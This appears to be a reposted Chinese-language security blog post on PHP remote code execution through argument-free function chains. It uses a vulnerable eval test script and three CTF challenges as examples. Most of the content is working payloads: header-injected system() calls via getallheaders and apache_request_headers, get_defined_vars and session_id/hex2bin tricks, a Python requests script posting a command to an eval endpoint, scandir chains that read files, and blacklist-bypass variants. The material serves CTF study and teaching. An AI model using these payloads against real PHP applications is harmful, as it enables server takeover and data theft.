當前位置:網站首頁>使用無參數函數進行命令執行

使用無參數函數進行命令執行

2022-01-26 23:30:15 kali_Ma

前言

在這裏總結一下無參數命令執行。

環境准備

測試代碼

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

關鍵代碼

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

這裏使用pregreplace替換匹配到的字符為空,\w匹配字母、數字和下劃線,等價於 [^A-Za-z0-9],然後(?R)?這個意思為遞歸整個匹配模式。所以正則的含義就是匹配無參數的函數,內部可以無限嵌套相同的模式(無參數函數),將匹配的替換為空,判斷剩下的是否只有;

以上正則錶達式只匹配a(b(c()))或a()這種格式,不匹配a(“123”),也就是說我們傳入的值函數不能帶有參數,所以我們要使用無參數的函數進行文件讀取或者命令執行。

本文涉及的相關函數

目錄操作:
getchwd() :函數返回當前工作目錄。
scandir() :函數返回指定目錄中的文件和目錄的數組。
dirname() :函數返回路徑中的目錄部分。
chdir() :函數改變當前的目錄。

數組相關的操作:
end() - 將內部指針指向數組中的最後一個元素,並輸出。
next() - 將內部指針指向數組中的下一個元素,並輸出。
prev() - 將內部指針指向數組中的上一個元素,並輸出。
reset() - 將內部指針指向數組中的第一個元素,並輸出。
each() - 返回當前元素的鍵名和鍵值,並將內部指針向前移動。
array_shift() - 删除數組中第一個元素,並返回被删除元素的值。

讀文件
show_source() - 對文件進行語法高亮顯示。
readfile() - 輸出一個文件。
highlight_file() - 對文件進行語法高亮顯示。
file_get_contents() - 把整個文件讀入一個字符串中。
readgzfile() - 可用於讀取非 gzip 格式的文件

【一>所有資源獲取<一】
1、電子書籍(白帽子)
2、安全大廠內部視頻
3、100份src文檔
4、常見安全面試題
5、ctf大賽經典題目解析
6、全套工具包
7、應急響應筆記
8、網絡安全學習路線

關鍵函數

getenv()

getenv() :獲取環境變量的值(在PHP7.1之後可以不給予參數)
適用於:php7以上的版本

?code=var_dump(getenv());

php7.0以下返回bool(false)
image.png

php7.0以上正常回顯
image.png

?code=var_dump(getenv(phpinfo()));

phpinfo()可以獲取所有環境變量
image.png

getallheaders()

getallheaders():獲取所有 HTTP 請求標頭,是apache_request_headers()的別名函數,但是該函數只能在Apache環境下使用
傳入?code=print_r(getallheaders());,數組返回 HTTP 請求頭
image.png

Payload1

使用end指向最後一個請求頭,用其值進行rce

GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');

● end():將數組的內部指針指向最後一個單元
image.png

Payload2

此payload適用於php7以上版本

GET /1.php?exp=eval(end(apache_request_headers()));  HTTP/1.1
....
flag: system('id');

get_defined_vars()

Payload1

?code=eval(end(current(get_defined_vars())));&flag=system('ls');

利用全局變量進RCE
get_defined_vars():返回由所有已定義變量所組成的數組,會返回 G E T , _GET, GET,_POST, C O O K I E , _COOKIE, COOKIE,_FILES全局變量的值,返回數組順序為get->post->cookie->files
current():返回數組中的當前單元,初始指向插入到數組中的第一個單元,也就是會返回$_GET變量的數組值
image.png

Payload2

?flag=phpinfo();&code=print_r(get_defined_vars());
該函數會返回全局變量的值,如get、post、cookie、file數據,
image.png

flag=>phpinfo();在_GET數組中,所以需要使用兩次取數組值:

pos第一次取值

?flag=phpinfo();&code=print_r(pos(get_defined_vars()));

image.png

pos第二次取值

?flag=phpinfo();&code=print_r(pos(pos(get_defined_vars())));

image.png

執行phpinfo()

?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));

image.png

任意命令執行

?flag=system('id');&code=eval(pos(pos(get_defined_vars())));

image

Payload3

而如果網站對 G E T , _GET, GET,_POST, C O O K I E 都 做 的 過 濾 , 那 我 們 只 能 從 _COOKIE都做的過濾, 那我們只能從 COOKIE_FILES入手了,file數組在最後一個,需要end定比特,然後pos兩次定比特獲得文件名

import requests
files = {
   "system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_start()

適用於:php7以下的版本
● session_start():啟動新會話或者重用現有會話,成功開始會話返回 TRUE ,反之返回 FALSE,返回參數給session_id()
● session_id():獲取/設置當前會話 ID,返回當前會話ID。 如果當前沒有會話,則返回空字符串(””)。

文件讀取

● show_source(session_id(session_start()));
● var_dump(file_get_contents(session_id(session_start())))
● highlight_file(session_id(session_start()));
● readfile(session_id(session_start()));
抓包傳入Cookie: PHPSESSID=(想讀的文件)即可

GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

讀取成功:
image.png

命令執行

**hex2bin()**函數可以將十六進制轉換為ASCII 字符,所以我們傳入十六進制並使用hex2bin()即可

先傳入eval(hex2bin(session_id(session_start())));,然後抓包傳入Cookie: PHPSESSID=("system(‘命令’)"的十六進制)即可

GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b

回顯成功
image.png

scandir()

文件讀取

查看當前目錄文件名

print_r(scandir(current(localeconv())));

讀取當前目錄文件

當前目錄倒數第一比特文件:

show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

當前目錄倒數第二比特文件:
show_source(next(array_reverse(scandir(getcwd()))));

隨機返回當前目錄文件:

highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一級目錄文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

讀取上級目錄文件

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解釋:
● array_flip():交換數組中的鍵和值,成功時返回交換後的數組,如果失敗返回 NULL。
● array_rand():從數組中隨機取出一個或多個單元,如果只取出一個(默認為1),array_rand() 返回隨機單元的鍵名。 否則就返回包含隨機鍵名的數組。 完成後,就可以根據隨機的鍵獲取數組的隨機值。
● array_flip()和array_rand()配合使用可隨機返回當前目錄下的文件名
● dirname(chdir(dirname()))配合切換文件路徑

查看和讀取根目錄文件

所獲得的字符串第一比特有幾率是/,需要多試幾次

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

相關CTF賽題

[GXYCTF2019]禁止套娃

index源碼

<?php
include "flag.php";
echo "flag在哪裏呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下關鍵的四行代碼

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
 // echo $_GET['exp'];
 @eval($_GET['exp']);

1、需要以GET形式傳入一個名為exp的參數。如果滿足條件會執行這個exp參數的內容。
2、第一個if,preg_match過濾了偽協議
3、第二個if,preg_replace限制我們傳輸進來的必須時純小寫字母的函數,而且不能攜帶參數。
4、第三個if,preg_match正則匹配過濾了bin|hex等關鍵字。
5、 @eval($_GET[‘exp’]);執行get傳入的exp。
無參數RCE

方法一:利用scandir()函數

1、查看目錄下的文件

?exp=print_r(scandir(current(localeconv())));
#Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

2、通過 array_reverse 進行逆轉數組

?exp=print_r(array_reverse(scandir(current(localeconv()))));
#Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )

3、用next()函數進行下一個值的讀取

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
#flag.php

4、highlight_file()函數讀取flag
最終payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

getflag
image.png

方法二: 利用session_start()函數

/?exp=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=flag.php

flag
image.png

[DAS]NoRCE

<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
    if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){
        eval($exp);
    }else{
        exit('NoNoNo,U R Hacker~');
    }
}else{
    exit("What's this?");
}
?>

無參數RCE

過濾了一堆,利用apache_request_headers()函數,在php7以下版本沒有複現成功。
Payload: ?exp=apache_request_headers();
沒被過濾
image.png

pos current pop都被過濾了,還有個array_shift()函數可以用

array_shift() - 删除數組中第一個元素,並返回被删除元素的值。

輸出函數echo、print_r、var_dump也都被過濾了,exit()函數的別名die()函數

die() 函數輸出一條消息,並退出當前脚本。

Payload: ?exp=die(array_shift(apache_request_headers()));
回顯成功
image.png

自定義一個請求頭,其值為要執行的命令,如flag: whoami,
Payload: ?exp=system(array_shift(apache_request_headers()));
打印出來了
image.png

接下來執行命令,成功執行whoami命令
image.png

本方法在php7以下使用未成功

[長安戰疫]RCE_No_Para

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>

本題的做法是通過傳遞自定義的新變量給數組,返回指定值,從而實現RCE。
繞過方法:pos是current的別名,如果都被過濾還可以使用reset(),該函數返回數組第一個單元的值,如果數組為空則返回 FALSE

收集到的一些Payload:

?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));

?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));

?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars())));

?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php');

?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');

?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');

版權聲明
本文為[kali_Ma]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201262330145401.html

隨機推薦